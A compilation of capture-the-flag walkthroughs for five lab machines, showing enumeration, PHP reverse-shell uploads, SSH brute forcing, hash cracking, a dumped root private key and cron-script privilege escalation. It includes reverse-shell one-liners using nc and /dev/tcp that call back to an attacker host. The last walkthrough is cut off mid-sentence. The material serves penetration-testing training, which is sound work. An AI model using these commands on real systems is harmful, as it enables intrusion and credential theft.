pg-jisctf-play

JISCTF

Nmap
sudo nmap 192.168.152.25 -p- -sS -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking out port 80 directs us to a login page on /login.php.

Running dirsearch.py against the web server reveals robots.txt

python3 dirsearch.py -u http://192.168.152.25 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 –full-url

The contents of robots.txt is shown below:

User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag

Browsing to /admin_area shows the page below.

Viewing the source reveals sensitive information:

We can then login to /login.php with the credentials shown above. The following page reveals a web page for uploading files.

I then uploaded a PHP reverse shell which after upload showed a ‘success’ status message. Knowing the directory /uploaded_files/ exists we can then browse to this followed by the uploaded files name: http://192.168.152.25/uploaded_files/phpshell.php.

The page should hang and we will receive a shell on our netcat listener.

I could not see that Python was installed on this machine so I instead used the following command to upgrade the shell:

/usr/bin/script -qc /bin/bash /dev/null

From here I transferred over linpeas from my attacking machine and let it run. The script picks up the username ‘technawi’ which is an alternative user on the box.

Running cat on the credentials.txt reveals login information. We can then use su to switch to the technawi user.

Checking sudo -l against the user reveals we can any command as any user on this machine.

We can then run the command below to spawn a root shell.

sudo /bin/bash

pg-geisha-play

Geisha

Nmap
sudo nmap 192.168.152.82 -p- -sS -sV
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
7080/tcp open ssl/empowerid LiteSpeed
7125/tcp open http nginx 1.17.10
8088/tcp open http LiteSpeed httpd
9198/tcp filtered unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

This one is a little bit tricky as we have multiple web servers which all appear to land us on the same page:

I put all the web server ports and addresses into a text file called list.txt and used dirsearch.py to run through each target.

python3 dirsearch.py -l list.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 60 –full-url

After some time we get an interesting hit on port 7125.

┌──(kali㉿puckie)-[~/offsec/geisha]
└─$ python3 /usr/share/dirsearch/dirsearch.py -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60 -u http://192.168.122.82:7125

_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 60
Wordlist size: 220520

Output File: /home/kali/.dirsearch/reports/192.168.122.82/_21-09-03_05-21-13.txt

Error Log: /home/kali/.dirsearch/logs/errors-21-09-03_05-21-13.log

Target: http://192.168.122.82:7125/

[05:21:14] Starting: 
[05:21:23] 403 - 556B - /shadow
[05:21:41] 200 - 1KB - /passwd
CTRL+C detected: Pausing threads, please wait...
[e]xit / [c]ontinue:

I browsed to the URL and downloaded passwd.

┌──(kali㉿puckie)-[~/offsec/geisha]
└─$ curl http://192.168.122.82:7125/passwd | html2markdown
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 1432 100 1432 0 0 7054 0 --:--:-- --:--:-- --:--:-- 7054
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
--snip--
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
geisha:x:1000:1000:geisha,,,:/home/geisha:/bin/bash systemd-
coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lsadm:x:998:1001::/:/sbin/nologin

From this we do know the user geisha exists on the system and can start to brute force the user. Running hydra against SSH we soon get a valid hit.

kali@kali:~/geisha$ hydra -l geisha -P /usr/share/wordlists/rockyou.txt ssh://192.168.57.82
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-03 07:04:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.57.82:22/
[STATUS] 161.00 tries/min, 161 tries in 00:01h, 14344239 to do in 1484:55h, 16 active
[STATUS] 112.33 tries/min, 337 tries in 00:03h, 14344063 to do in 2128:12h, 16 active
[22][ssh] host: 192.168.57.82 login: geisha password: letmein
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-03 07:09:21
kali@kali:~/geisha$
We now have SSH access as the user.

I have identified the SUID bit being set on the base32 binary.

geisha@geisha:~$ find / -perm -6000 2>/dev/null
/usr/bin/base32
geisha@geisha:~$

According to GTFOBins we can take advantage of this to perform privileged file reads.

Initially I used this to read the /etc/shadow file. However, I was unable to crack the password with rockyou.txt.

Now we could use this to read the proof.txt flag but, we are not really done until we gain a root shell. I decided to have a stab at the root account having a id_rsa key.

geisha@geisha:~$ /usr/bin/base32 /root/.ssh/id_rsa | base32 --decode
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA43eVw/8oSsnOSPCSyhVEnt01fIwy1YZUpEMPQ8pPkwX5uPh4
OZXrITY3JqYSCFcgJS34/TQkKLp7iG2WGmnno/Op4GchXEdSklwoGOKNA22l7pX5
89FAL1XSEBCtzlrCrksvfX08+y7tS/I8s41w4aC1TDd5o8c1Kx5lfwl7qw0ZMlbd
5yeAUhuxuvxo/KFqiUUfpcpoBf3oT2K97/bZr059VU8T4wd5LkCzKEKmK5ebWIB6
fgIfxyhEm/o3dl1lhegTtzC6PtlhuT7ty//mqEeMuipwH3ln61fHXs72LI/vTx26
TSSmzHo8zZt+/lwrgroh0ByXbCtDaZjo4HAFfQIDAQABAoIBAQCRXy/b3wpFIcww
WW+2rvj3/q/cNU2XoQ4fHKx4yqcocz0xtbpAM0veIeQFU0VbBzOID2V9jQE+9k9U
1ZSEtQJRibwbqk1ryDlBSJxnqwIsGrtdS4Q/CpBWsCZcFgy+QMsC0RI8xPlgHpGR
Y/LfXZmy2R6E4z9eKEYWlIqRMeJTYgqsP6ZR4SOLuZS1Aq/lq/v9jqGs/SQenjRb
8zt1BoqCfOp5TtY1NoBLqaPwmDt8+rlQt1IM+2aYmxdUkLFTcMpCGMADggggtnR+
10pZkA6wM8/FlxyAFcNwt+H3xu5VKuQKdqTfh1EuO3c34UmuS1qnidHO1rYWOhYO
jceQYzoBAoGBAP/Ml6cp2OWqrheJS9Pgnvz82n+s9yM5raKNnH57j0sbEp++eG7o
2po5/vrLBcCHGqZ7+RNFXDmRBEMToru/m2RikSVYk8QHLxVZJt5iB3tcxmglGJj/
cLkGM71JqjHX/edwu2nNu14m4l1JV9LGvvHR5m6uU5cQvdcMTsRpkuxdAoGBAOOl
THxiQ6R6HkOt9w/WrKDIeGskIXj/P/79aB/2p17M6K+cy75OOYzqkDPENrxK8bub
RaTzq4Zl2pAqxvsv/CHuJU/xHs9T3Ox7A1hWqnOOk2f0KBmhQTYBs2OKqXXZotHH
xvkOgc0fqRm1QYlCK2lyBBM14O5Isud1ZZXLUOuhAoGBAIBds1z36xiV5nd5NsxE
1IQwf5XCvuK2dyQz3Gy8pNQT6eywMM+3mrv6jrJcX66WHhGd9QhurjFVTMY8fFWr
edeOfzg2kzC0SjR0YMUIfKizjf2FYCqnRXIUYrKC3R3WPlx+fg5CZ9x/tukJfUEQ
65F+vBye7uPISvw3+O8n68shAoGABXMyppOvrONjkBk9Hfr0vRCvmVkPGBd8T71/
XayJC0L6myG02wSCajY/Z43eBZoBuY0ZGL7gr2IG3oa3ptHaRnGuIQDTzQDj/CFh
zh6dDBEwxD9bKmnq5sEZq1tpfTHNrRoMUHAheWi1orDtNb0Izwh0woT6spm49sOf
v/tTH6ECgYEA/tBeKSVGm0UxGrjpQmhW/9Po62JNz6ZBaTELm3paaxqGtA+0HD0M
OuzD6TBG6zBF6jW8VLQfiQzIMEUcGa8iJXhI6bemiX6Te1PWC8NMMULhCjObMjCv
bf+qz0sVYfPb95SQb4vvFjp5XDVdAdtQov7s7XmHyJbZ48r8ISHm98s=
-----END RSA PRIVATE KEY-----

geisha@geisha:~$
I then transferred the key over to my attacking machine and used chmod to set appropriate permissions.
chmod 600 id_rsa

Then used the id_rsa key to connect in as root on SSH.

ssh -i id_rsa root@192.168.152.82

pg-hackerfest2019-play

HackerFest2019

Nmap
sudo nmap 192.168.152.32 -p- -sS -sV
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
10000/tcp open ssl/http MiniServ 1.890 (Webmin httpd)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

First up checking FTP we have anonymous access. In what appears to be a WordPress directory. First we can grab the wp-config.php as this will likely contain credentials we can use.

Reading the contents of wp-config.php shows some credentials we can use later. The credentials are: wordpress:nvwtlRqkD0E1jBXu

Running dirsearch.py against port 80 reveals the directory /phpmyadmin

python3 dirsearch.py -u http://192.168.152.32 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 –full-url

I then tried to login with simple credentials such as root:root and was informed by the web server we cannot use root as a login.

I tried the database credentials from earlier and was permitted access: wordpress:nvwtlRqkD0E1jBXu

Opening up the WordPress database we find a password hash for the user webmaster.

This hash was cracked with hashcat on Windows.

We have the credentials: webmaster:kittykat1 We can then browse to http://192.168.152.32/wp-admin/ and login with the credentials above.

Once logged in we notice we are working in a language other than English. Follow the image below to change this back to English if required.

After doing so we can head over to Appearance > Theme Editor and replace the contents of index.php with a PHP Reverse shell.

Once completed start a netcat listener then browse to the main index.php page to execute the shell.

From here the path to root is super simple. As the user webmaster exists on this machine we can simply su into the user with the credentials we obtained earlier. Check sudo -l and then run /bin/bash using sudo.

su webmaster
sudo -l
sudo /bin/bash

pg-funboxeasyenum-play

FunBoxEasyEnum

Nmap
sudo nmap 192.168.68.132 -p- -sS -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hitting port 80 we come to an Apache default installation page. Viewing the source of this page reveals no interesting information.

We now move onto enumerating with dirsearch.py. First running seclists big.txt against the target.

python3 dirsearch.py -u http://192.168.68.132/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -R 2 –full-url -t 75

We view robots.txt and find it contains contains:

Allow: Enum_this_Box

I ran dirsearch.py against this and was unable to find anything further. Viewing /phpmyadmin and attempting to login with default credentials shows we are unable to proceed with the default root account.

Running dirsearch.py again on the target this time using the --suffix parameter to append .php to all entries we find /mini.php.

┌──(kali㉿puckie)-[~/offsec/funboxeasyenum]
└─$ python3 /usr/share/dirsearch/dirsearch.py -u http://192.168.109.132/ -w /usr/share/dirb/wordlists/big.txt --full-url -t 75 --suffix=.php

_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | Suffixes: .php | HTTP method: GET | Threads: 75
Wordlist size: 20468

Output File: /home/kali/.dirsearch/reports/192.168.109.132/_21-08-27_08-32-48.txt

Error Log: /home/kali/.dirsearch/logs/errors-21-08-27_08-32-48.log

Target: http://192.168.109.132/

[08:32:48] Starting: 
[08:32:49] 403 - 280B - http://192.168.109.132/.htpasswd.php
[08:32:53] 403 - 280B - http://192.168.109.132/.htaccess.php
[08:33:32] 200 - 4KB - http://192.168.109.132/mini.php

Task Completed

Browsing to /mini.php we come to Zerion Mini Shell 1.0. As per below I uploaded a webshell as webshell.php

Knowing that the above files exist in the root directory I then browsed to /webshell.php and was able to execute commands confirming we are running as www-data.

Running the command which nc shows we have netcat installed on the target machine. I set up a netcat listener on my target machine then run the following command on the webshell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.68 80 >/tmp/f

Resulting in a reverse shell.

Upgrade the shell:

/usr/bin/script -qc /bin/bash /dev/null

Checking /etc/passwd shows the user ‘oracle’ has a password hash in the file.

oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005::/home/lissy:/bin/sh
$

I then took the hash and run it under mode 500 on Hashcat on my Windows host which cracked the password as: hiphop

PS E:\PENTEST\hashcat-4.2.1> .\hashcat32.exe -m500 .\linuxhash.TXT E:\PENTEST\thc-hydra\rockyou.txt --force
hashcat (v4.2.1) starting...

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) HD Graphics 610, 819/1638 MB allocatable, 12MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Dictionary cache built:
* Filename..: E:\PENTEST\thc-hydra\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 9 secs

$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:hiphop

Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0

I then used su to switch to the user ‘oracle’ and was successful switching.

After poking about on the oracle user for a bit I could not find anything interesting. I tried the hiphop password against other users and no luck. I decided to move back onto www-data so I can read some files in /etc/phpmyadmin.

I disconnected the shell and run the initial exploit on the web shell to get connect as www-data. Moving into /etc/phpyadmin and then reading read the config-db.php file we see credential information.

We find the credentials phpmyadmin:tgbzhnujm! I then logged in MySQL and was unable to identify interesting information in the contained databases.

From here I starting throwing the passwords at the users in the /home/ directory until I got a match on the user ‘karla’.

Knowing this worked I excited the shell and logged into SSH with the same information just so we have all the advantages of a SSH shell.

$ su karla
su: must be run from a terminal
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@funbox7:/$ su karla
su karla
Password: tgbzhnujm!

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

karla@funbox7:/$ sudo -l
sudo -l
[sudo] password for karla: tgbzhnujm!

Matching Defaults entries for karla on funbox7:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karla may run the following commands on funbox7:
(ALL : ALL) ALL
karla@funbox7:/$ sudo /bin/bash -p
sudo /bin/bash -p
root@funbox7:/#

.

 

pg-funbox-play

Exploitation Guide for Funbox
Summary

This machine is exploited by mounting a login brute-force attack against the SSH service using a username recovered during the enumeration of a WordPress website. It is escalated via insecure file permissions on a backup bash script that runs on a schedule as root.
Enumeration
Nmap

We start off by running an nmap scan:

kali@kali:~# sudo nmap 192.168.120.189
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 22:10 EDT
Nmap scan report for 192.168.120.189
Host is up (0.30s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

FTP

We first check if we can access the FTP service without credentials.

kali@kali:~# ftp 192.168.120.189
Connected to 192.168.120.189.
220 ProFTPD Server (Debian) [::ffff:192.168.120.189]
Name (192.168.120.189:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.

However, we are unlucky and so we will leave this one for now.
Web Enumeration

Browsing to the website on port 80 we find it redirects to http://funbox.fritz.box/. We can add a hosts file entry to get things working correctly for us.

kali@kali:~# sudo echo “192.168.120.189 funbox.fritz.box” >> /etc/hosts

Now that we can access the website, we see that it is running WordPress. Our next step is to run wpscan to see if we can identify any vulnerabilities and any usernames.

wpscan --url http://funbox.fritz.box/ --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://funbox.fritz.box/ [192.168.120.189]
[+] Started: Thu Aug 20 22:26:14 2020

...

[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] joe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Aug 20 22:26:24 2020
[+] Requests Done: 26
[+] Cached Requests: 36
[+] Data Sent: 6.525 KB
[+] Data Received: 257.882 KB
[+] Memory used: 150.535 MB
[+] Elapsed time: 00:00:09

We can see wpscan identified two users, joe and admin. With this knowledge we can continue by next looking at the SSH service.
Exploitation
SSH Brute Force

Since we now have a potential username, joe, we can attempt to brute force the password using hydra.

kali@kali:~# hydra -l joe -P /usr/share/wordlists/rockyou.txt ssh://192.168.120.189
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-20 22:33:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.120.189:22/
[22][ssh] host: 192.168.120.189 login: joe password: 12345
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-20 22:33:20

This quickly identifies the password 12345 and we can use these credentials to login via SSH.

Other way to get joe’s password :

Running WPScan against the host we identify some users joe/12345 & admin/iubire. Remembering to set the --passwords parameter to rockyou.txt

wpscan --url http://funbox.fritz.box/ -t 40 -e ap,u1-1000 --passwords /usr/share/wordlists/rockyou.txt --force
.

ssh joe@192.168.120.189

joe@funbox:~$ id
uid=1001(joe) gid=1001(joe) groups=1001(joe)

Shell Breakout

If we try to change directory we find that we are in a restricted shell.

joe@funbox:~$ cd /
-rbash: cd: restricted

Before we can continue our enumeration we will need to escape this and obtain a full shell. First we will check our environment to see what we have access to.

joe@funbox:~$ env
SHELL=/bin/rbash
PWD=/home/joe
LOGNAME=joe
XDG_SESSION_TYPE=tty
MOTD_SHOWN=pam
HOME=/home/joe
LANG=en_US.UTF-8
...
LESSOPEN=| /usr/bin/lesspipe %s
USER=joe
SHLVL=1
XDG_SESSION_ID=28
XDG_RUNTIME_DIR=/run/user/1001
SSH_CLIENT=192.168.118.6 50000 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
SSH_TTY=/dev/pts/0
_=/usr/bin/env

Looking at the PATH variable it appears to be unchanged and as such we can just run bash normally to escape.

joe@funbox:~$ bash
joe@funbox:~$ cd /
joe@funbox:/$

As always whenever you have WordPress on a target machine ensure to check /var/www/html/wp-config.php for database credentials.

we find

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

Escalation
Insecure File Permissions

If we return to joe’s home directory we can find a file called mbox containing some interesting information.

joe@funbox:/$ cd ~
joe@funbox:~$ cat mbox
From root@funbox Fri Jun 19 13:12:38 2020
Return-Path: <root@funbox>
X-Original-To: joe@funbox
Delivered-To: joe@funbox
Received: by funbox.fritz.box (Postfix, from userid 0)
id 2D257446B0; Fri, 19 Jun 2020 13:12:38 +0000 (UTC)
Subject: Backups
To: <joe@funbox>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20200619131238.2D257446B0@funbox.fritz.box>
Date: Fri, 19 Jun 2020 13:12:38 +0000 (UTC)
From: root <root@funbox>

Hi Joe, please tell funny the backupscript is done.

From root@funbox Fri Jun 19 13:15:21 2020
Return-Path: <root@funbox>
X-Original-To: joe@funbox
Delivered-To: joe@funbox
Received: by funbox.fritz.box (Postfix, from userid 0)
id 8E2D4446B0; Fri, 19 Jun 2020 13:15:21 +0000 (UTC)
Subject: Backups
To: <joe@funbox>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20200619131521.8E2D4446B0@funbox.fritz.box>
Date: Fri, 19 Jun 2020 13:15:21 +0000 (UTC)
From: root <root@funbox>

Joe, WTF!?!?!?!?!?! Change your password right now! 12345 is an recommendation to fire you.

It appears that a user called funny is waiting on a backup script. If we change to funny’s home directory we can find the script with some insecure file permissions.

joe@funbox:/home/funny$ ls -lah
total 47M
drwxr-xr-x 3 funny funny 4.0K Jul 18 10:02 .
drwxr-xr-x 4 root root 4.0K Jun 19 11:50 ..
-rwxrwxrwx 1 funny funny 55 Jul 18 10:15 .backup.sh
-rw------- 1 funny funny 0 Aug 14 13:03 .bash_history
-rw-r--r-- 1 funny funny 220 Feb 25 12:03 .bash_logout
-rw-r--r-- 1 funny funny 3.7K Feb 25 12:03 .bashrc
drwx------ 2 funny funny 4.0K Jun 19 10:43 .cache
-rw-rw-r-- 1 funny funny 47M Aug 21 06:58 html.tar
-rw-r--r-- 1 funny funny 807 Feb 25 12:03 .profile
-rw-rw-r-- 1 funny funny 162 Jun 19 14:13 .reminder.sh
-rw-rw-r-- 1 funny funny 74 Jun 19 12:25 .selected_editor
-rw-r--r-- 1 funny funny 0 Jun 19 10:44 .sudo_as_admin_successful
-rw------- 1 funny funny 7.7K Jul 18 10:02 .viminfo
joe@funbox:/home/funny$ cat .backup.sh 
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html

Before we overwrite the file, let’s first check whether or not it is being executed and who by. To do this we will use pspy. pspy is tool which allows you to snoop on processes without needing root permissions. We can download pspy to /tmp and run it for several minutes to see if anything interesting is revealed.

joe@funbox:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

2020-08-21 07:05:12 (24.4 MB/s) – ‘pspy64’ saved [3078592/3078592]

joe@funbox:/tmp$ chmod +x pspy64 
joe@funbox:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ 
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ 
░░ ░ ░ ░ ░░ ▒ ▒ ░░ 
░ ░ ░ 
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/08/21 07:05:32 CMD: UID=0 PID=978 | proftpd: (accepting connections) 
2020/08/21 07:05:32 CMD: UID=112 PID=951 | /usr/sbin/mysqld 
2020/08/21 07:05:32 CMD: UID=0 PID=943 | /usr/lib/policykit-1/polkitd --no-debug 
2020/08/21 07:05:32 CMD: UID=0 PID=924 | /bin/login -p -- 
...
2020/08/21 07:05:32 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity 
2020/08/21 07:06:01 CMD: UID=0 PID=13193 | /usr/sbin/CRON -f 
2020/08/21 07:06:01 CMD: UID=1000 PID=13194 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:06:01 CMD: UID=1000 PID=13195 | /bin/bash /home/funny/.backup.sh 
2020/08/21 07:06:01 CMD: UID=1000 PID=13196 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:06:01 CMD: UID=1000 PID=13198 | /usr/sbin/postdrop -r 
2020/08/21 07:06:01 CMD: UID=1000 PID=13197 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem funny
...
2020/08/21 07:10:01 CMD: UID=0 PID=13405 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13404 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:10:01 CMD: UID=0 PID=13403 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13402 | /bin/bash /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13401 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=0 PID=13400 | /usr/sbin/CRON -f 
2020/08/21 07:10:01 CMD: UID=0 PID=13399 | /usr/sbin/CRON -f
2020/08/21 07:10:01 CMD: UID=0 PID=13406 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:10:02 CMD: UID=0 PID=13407 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root 
2020/08/21 07:10:02 CMD: UID=1000 PID=13410 | /usr/sbin/postdrop -r 
2020/08/21 07:10:02 CMD: UID=0 PID=13409 | /usr/sbin/postdrop -r 
2020/08/21 07:10:02 CMD: UID=1000 PID=13408 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem funny 
2020/08/21 07:10:02 CMD: UID=0 PID=13411 | cleanup -z -t unix -u -c 
2020/08/21 07:10:02 CMD: UID=0 PID=13412 | trivial-rewrite -n rewrite -t unix -u -c 
2020/08/21 07:10:02 CMD: UID=0 PID=13413 | local -t unix 
2020/08/21 07:10:02 CMD: UID=0 PID=13414 | local -t unix

Although we do initially see that /home/funny/.backup.sh is run as funny, we later see that it is also run as root. So to exploit this all we need to do is append a malicious command to /home/funny/.backup.sh. We can do this as follows.

joe@funbox:~$ echo "cp -f /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /home/funny/.backup.sh
joe@funbox:~$ cat /home/funny/.backup.sh
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html
cp -f /bin/bash /tmp/bash && chmod u+s /tmp/bash

Now we wait five to ten minutes for our command to execute and then we should find a copy of bash in the /tmp directory with its SUID bit set. We can then execute this to obtain a root shell.

joe@funbox:~$ ls -lah /tmp
total 4.2M
drwxrwxrwt 13 root root 4.0K Aug 21 07:18 .
drwxr-xr-x 20 root root 4.0K Aug 14 12:40 ..
-rwsr-xr-x 1 root funny 1.2M Aug 21 07:35 bash
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .font-unix
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .ICE-unix
-rwxrwxr-x 1 joe joe 3.0M Aug 22 2019 pspy64
drwx------ 3 root root 4.0K Aug 21 02:07 snap.lxd
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-apache2.service-sFj0Ve
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-logind.service-H0gLpj
drwx------ 3 root root 4.0K Aug 21 02:10 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-resolved.service-xyb48i
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-timesyncd.service-SpPXfh
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .Test-unix
drwx------ 2 root root 4.0K Aug 21 02:07 vmware-root_656-2689274927
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .X11-unix
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .XIM-unix
joe@funbox:~$ /tmp/bash -p
bash-5.0# id
uid=1001(joe) gid=1001(joe) euid=0(root) groups=1001(joe)

We could also use

echo 'sh -i >& /dev/tcp/192.168.49.70/9001 0>&1' >> .backup.sh

or

